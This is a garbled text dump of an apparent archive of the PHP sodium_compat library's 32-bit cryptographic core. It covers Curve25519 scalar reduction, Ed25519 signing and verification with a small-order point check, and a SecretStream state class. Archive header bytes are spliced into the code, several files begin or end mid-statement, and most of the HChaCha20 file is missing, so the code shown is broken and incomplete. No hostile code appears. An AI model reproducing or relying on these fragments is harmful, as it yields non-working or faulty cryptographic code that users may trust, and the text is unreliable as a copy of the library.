ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1)); $s14 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6)); $s15 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3)); $s16 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 42, 3))); $s17 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5)); $s18 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2)); $s19 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7)); $s20 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4)); $s21 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1)); $s22 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6)); $s23 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3)); $s11 = $s11->addInt64($s23->mulInt(666643, 20)); $s12 = $s12->addInt64($s23->mulInt(470296, 19)); $s13 = $s13->addInt64($s23->mulInt(654183, 20)); $s14 = $s14->subInt64($s23->mulInt(997805, 20)); $s15 = $s15->addInt64($s23->mulInt(136657, 18)); $s16 = $s16->subInt64($s23->mulInt(683901, 20)); $s10 = $s10->addInt64($s22->mulInt(666643, 20)); $s11 = $s11->addInt64($s22->mulInt(470296, 19)); $s12 = $s12->addInt64($s22->mulInt(654183, 20)); $s13 = $s13->subInt64($s22->mulInt(997805, 20)); $s14 = $s14->addInt64($s22->mulInt(136657, 18)); $s15 = $s15->subInt64($s22->mulInt(683901, 20)); $s9 = $s9->addInt64($s21->mulInt(666643, 20)); $s10 = $s10->addInt64($s21->mulInt(470296, 19)); $s11 = $s11->addInt64($s21->mulInt(654183, 20)); $s12 = $s12->subInt64($s21->mulInt(997805, 20)); $s13 = $s13->addInt64($s21->mulInt(136657, 18)); $s14 = $s14->subInt64($s21->mulInt(683901, 20)); $s8 = $s8->addInt64($s20->mulInt(666643, 20)); $s9 = $s9->addInt64($s20->mulInt(470296, 19)); $s10 = $s10->addInt64($s20->mulInt(654183, 20)); $s11 = $s11->subInt64($s20->mulInt(997805, 20)); $s12 = $s12->addInt64($s20->mulInt(136657, 18)); $s13 = $s13->subInt64($s20->mulInt(683901, 20)); $s7 = $s7->addInt64($s19->mulInt(666643, 20)); $s8 = $s8->addInt64($s19->mulInt(470296, 19)); $s9 = $s9->addInt64($s19->mulInt(654183, 20)); $s10 = $s10->subInt64($s19->mulInt(997805, 20)); $s11 = $s11->addInt64($s19->mulInt(136657, 18)); $s12 = $s12->subInt64($s19->mulInt(683901, 20)); $s6 = $s6->addInt64($s18->mulInt(666643, 20)); $s7 = $s7->addInt64($s18->mulInt(470296, 19)); $s8 = $s8->addInt64($s18->mulInt(654183, 20)); $s9 = $s9->subInt64($s18->mulInt(997805, 20)); $s10 = $s10->addInt64($s18->mulInt(136657, 18)); $s11 = $s11->subInt64($s18->mulInt(683901, 20)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $s5 = $s5->addInt64($s17->mulInt(666643, 20)); $s6 = $s6->addInt64($s17->mulInt(470296, 19)); $s7 = $s7->addInt64($s17->mulInt(654183, 20)); $s8 = $s8->subInt64($s17->mulInt(997805, 20)); $s9 = $s9->addInt64($s17->mulInt(136657, 18)); $s10 = $s10->subInt64($s17->mulInt(683901, 20)); $s4 = $s4->addInt64($s16->mulInt(666643, 20)); $s5 = $s5->addInt64($s16->mulInt(470296, 19)); $s6 = $s6->addInt64($s16->mulInt(654183, 20)); $s7 = $s7->subInt64($s16->mulInt(997805, 20)); $s8 = $s8->addInt64($s16->mulInt(136657, 18)); $s9 = $s9->subInt64($s16->mulInt(683901, 20)); $s3 = $s3->addInt64($s15->mulInt(666643, 20)); $s4 = $s4->addInt64($s15->mulInt(470296, 19)); $s5 = $s5->addInt64($s15->mulInt(654183, 20)); $s6 = $s6->subInt64($s15->mulInt(997805, 20)); $s7 = $s7->addInt64($s15->mulInt(136657, 18)); $s8 = $s8->subInt64($s15->mulInt(683901, 20)); $s2 = $s2->addInt64($s14->mulInt(666643, 20)); $s3 = $s3->addInt64($s14->mulInt(470296, 19)); $s4 = $s4->addInt64($s14->mulInt(654183, 20)); $s5 = $s5->subInt64($s14->mulInt(997805, 20)); $s6 = $s6->addInt64($s14->mulInt(136657, 18)); $s7 = $s7->subInt64($s14->mulInt(683901, 20)); $s1 = $s1->addInt64($s13->mulInt(666643, 20)); $s2 = $s2->addInt64($s13->mulInt(470296, 19)); $s3 = $s3->addInt64($s13->mulInt(654183, 20)); $s4 = $s4->subInt64($s13->mulInt(997805, 20)); $s5 = $s5->addInt64($s13->mulInt(136657, 18)); $s6 = $s6->subInt64($s13->mulInt(683901, 20)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry11 = $s11->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $S0 = $s0->toInt32()->toInt(); $S1 = $s1->toInt32()->toInt(); $S2 = $s2->toInt32()->toInt(); $S3 = $s3->toInt32()->toInt(); $S4 = $s4->toInt32()->toInt(); $S5 = $s5->toInt32()->toInt(); $S6 = $s6->toInt32()->toInt(); $S7 = $s7->toInt32()->toInt(); $S8 = $s8->toInt32()->toInt(); $S9 = $s9->toInt32()->toInt(); $S10 = $s10->toInt32()->toInt(); $S11 = $s11->toInt32()->toInt(); /** * @var array */ $arr = array( (int) ($S0 >> 0), (int) ($S0 >> 8), (int) (($S0 >> 16) | ($S1 << 5)), (int) ($S1 >> 3), (int) ($S1 >> 11), (int) (($S1 >> 19) | ($S2 << 2)), (int) ($S2 >> 6), (int) (($S2 >> 14) | ($S3 << 7)), (int) ($S3 >> 1), (int) ($S3 >> 9), (int) (($S3 >> 17) | ($S4 << 4)), (int) ($S4 >> 4), (int) ($S4 >> 12), (int) (($S4 >> 20) | ($S5 << 1)), (int) ($S5 >> 7), (int) (($S5 >> 15) | ($S6 << 6)), (int) ($S6 >> 2), (int) ($S6 >> 10), (int) (($S6 >> 18) | ($S7 << 3)), (int) ($S7 >> 5), (int) ($S7 >> 13), (int) ($S8 >> 0), (int) ($S8 >> 8), (int) (($S8 >> 16) | ($S9 << 5)), (int) ($S9 >> 3), (int) ($S9 >> 11), (int) (($S9 >> 19) | ($S10 << 2)), (int) ($S10 >> 6), (int) (($S10 >> 14) | ($S11 << 7)), (int) ($S11 >> 1), (int) ($S11 >> 9), (int) $S11 >> 17 ); return self::intArrayToString($arr); } /** * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493 * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_mul_l(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A) { $aslide = array( 13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 ); /** @var array $Ai size 8 */ $Ai = array(); # ge_p3_to_cached(&Ai[0], A); $Ai[0] = self::ge_p3_to_cached($A); # ge_p3_dbl(&t, A); $t = self::ge_p3_dbl($A); # ge_p1p1_to_p3(&A2, &t); $A2 = self::ge_p1p1_to_p3($t); for ($i = 1; $i < 8; ++$i) { # ge_add(&t, &A2, &Ai[0]); $t = self::ge_add($A2, $Ai[$i - 1]); # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_p3_to_cached(&Ai[i], &u); $Ai[$i] = self::ge_p3_to_cached($u); } $r = self::ge_p3_0(); for ($i = 252; $i >= 0; --$i) { $t = self::ge_p3_dbl($r); if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_add(&t, &u, &Ai[aslide[i] / 2]); $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]); } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]); } } # ge_p1p1_to_p3(r, &t); return self::ge_p1p1_to_p3($t); } } PK-L[Hw=w=src/Core32/Ed25519.phpnu[X)) { throw new SodiumException('Unexpected zero result'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument */ public static function sign_detached($message, $sk) { # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); self::hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); self::hash_update($hs, $message); $hramHash = hash_final($hs, true); # sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } static $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); /** @var array $L */ $c = 0; $n = 1; $i = 32; do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { static $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var array> $blocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } } PK-L[21src/Core32/HChaCha20.phpnu[toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); } } PK-L[xHH!src/Core32/SecretStream/State.phpnu[key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core32_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core32_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core32_SecretStream_State( ParagonIE_Sodium_Core32_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core32_Util::load_4( 